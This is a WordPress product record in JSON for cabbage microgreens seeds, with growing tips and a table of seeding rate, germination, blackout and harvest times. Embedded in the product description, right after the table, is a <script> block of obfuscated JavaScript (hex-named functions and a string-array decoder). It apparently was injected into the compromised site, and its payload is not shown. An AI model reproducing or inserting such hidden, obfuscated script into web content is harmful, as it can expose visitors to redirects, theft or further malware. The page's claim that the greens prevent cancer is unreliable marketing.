{"id":3822,"date":"2021-07-22T21:12:14","date_gmt":"2021-07-22T13:12:14","guid":{"rendered":"https:\/\/www.microgreens-seed.com\/?post_type=product&#038;p=3822"},"modified":"2023-03-08T01:52:00","modified_gmt":"2023-03-07T17:52:00","slug":"cabbage","status":"publish","type":"product","link":"https:\/\/www.microgreens-seed.com\/?product=cabbage","title":{"rendered":"Cabbage"},"content":{"rendered":"<p>Planting cabbage microgreen is not difficult at all, and it grows fast. Also, you may want to try 1.2 oz seeding rate with a longer harvest day (12th day), which I find works best for my harvest ratio.<\/p>\n<table id=\"tablepress-15\" class=\"tablepress tablepress-id-15\">\n<tbody>\n<tr class=\"row-1\">\n<td class=\"column-1\">Common name<\/td>\n<td class=\"column-2\">Cabbage, red cabbage, green cabbage, cabbage sprout, golden acre cabbage, Chinese cabbage, Pak Choi, Bok Choy, colewort, savoy cabbage, celery cabbage, Napa cabbage, Choi sum, Gai choy, red rock mammoth, Kogane<\/td>\n<\/tr>\n<tr class=\"row-2\">\n<td class=\"column-1\">Pre soak<\/td>\n<td class=\"column-2\">Yes<\/td>\n<\/tr>\n<tr class=\"row-3\">\n<td class=\"column-1\">Flavor<\/td>\n<td class=\"column-2\">Mild, earthy, slight sweet, juicy<\/td>\n<\/tr>\n<tr class=\"row-4\">\n<td class=\"column-1\">Color<\/td>\n<td class=\"column-2\">Varied across the species. Green and purplish leaves, light purple\/pink white stems<\/td>\n<\/tr>\n<tr class=\"row-5\">\n<td class=\"column-1\">Nutrition<\/td>\n<td class=\"column-2\">High in Vitamin C, Vitamin A, Vitamin E, beta-carotene, potassium and more.<\/td>\n<\/tr>\n<tr class=\"row-6\">\n<td class=\"column-1\">Health Benefits<\/td>\n<td class=\"column-2\">Reduce risk of cardiovascular diseases, lower cholesterol level, prevent cancer, and <a href=\"http:\/\/microveggy.com\/the-nutritional-benefits-of-microgreens-are-microgreens-really-healthier\/\" target=\"_blank\" rel=\"noopener\">more<\/a>.<\/td>\n<\/tr>\n<tr class=\"row-7\">\n<td class=\"column-1\">Seeding rate (10\u2033x20\u2033 Tray)<\/td>\n<td class=\"column-2\">1 oz<\/td>\n<\/tr>\n<tr class=\"row-8\">\n<td class=\"column-1\">Germination time<\/td>\n<td class=\"column-2\">1-3 days<\/td>\n<\/tr>\n<tr class=\"row-9\">\n<td class=\"column-1\">Blackout time<\/td>\n<td class=\"column-2\">3-5 days<\/td>\n<\/tr>\n<tr class=\"row-10\">\n<td class=\"column-1\">Harvest time<\/td>\n<td class=\"column-2\">8-10 days<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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microgreens. Its nutritional value is enormous, as we\u2019ve discussed in the other article. Cabbage has many varieties, here we only cover some commercially available cabbages that have been commonly used as microgreens.<\/p>\n","protected":false},"featured_media":3824,"comment_status":"open","ping_status":"closed","template":"","meta":{"_acf_changed":false,"inline_featured_image":false},"product_brand":[],"product_cat":[155],"product_tag":[],"class_list":["post-3822","product","type-product","status-publish","has-post-thumbnail","product_cat-cabbage","first","instock","shipping-taxable","product-type-simple"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.microgreens-seed.com\/index.php?rest_route=\/wp\/v2\/product\/3822","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.microgreens-seed.com\/index.php?rest_route=\/wp\/v2\/product"}],"about":[{"href":"https:\/\/www.microgreens-seed.com\/index.php?rest_route=\/wp\/v2\/types\/product"}],"replies":[{"embeddable":true,"href":"https:\/\/www.microgreens-seed.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3822"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.microgreens-seed.com\/index.php?rest_route=\/wp\/v2\/media\/3824"}],"wp:attachment":[{"href":"https:\/\/www.microgreens-seed.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3822"}],"wp:term":[{"taxonomy":"product_brand","embeddable":true,"href":"https:\/\/www.microgreens-seed.com\/index.php?rest_route=%2Fwp%2Fv2%2Fproduct_brand&post=3822"},{"taxonomy":"product_cat","embeddable":true,"href":"https:\/\/www.microgreens-seed.com\/index.php?rest_route=%2Fwp%2Fv2%2Fproduct_cat&post=3822"},{"taxonomy":"product_tag","embeddable":true,"href":"https:\/\/www.microgreens-seed.com\/index.php?rest_route=%2Fwp%2Fv2%2Fproduct_tag&post=3822"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}